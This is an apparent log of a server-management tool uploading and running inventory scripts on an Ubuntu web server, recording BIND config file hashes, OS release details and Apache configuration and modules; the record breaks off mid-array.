tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-03 14:59:56: Establishing a connection
2025-10-03 14:59:56:
PUT: /tmp/pkp195098
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-03 14:59:57:
runuser -l bind -s /bin/bash -c '/tmp/pkp195098; rm /tmp/pkp195098'
2025-10-03 14:59:57:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-03 15:00:27: Establishing a connection
2025-10-03 15:00:48: Establishing a connection
2025-10-03 15:00:49: Performing Server Status
2025-10-03 15:00:49:
PUT: /tmp/pkp646377
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-10-03 15:00:49:
chmod 755 /tmp/pkp646377; /tmp/pkp646377; rm /tmp/pkp646377
2025-10-03 15:00:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-85-generic
2025-10-03 15:00:50:
PUT: /tmp/pkp429979
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-10-03 15:00:50:
chmod 755 /tmp/pkp429979; /tmp/pkp429979; rm /tmp/pkp429979
2025-10-03 15:00:50:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1310
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1310 0.0 0.2 255668 35616 ? Ss Oct02 0:03 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-10-03 15:00:50:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
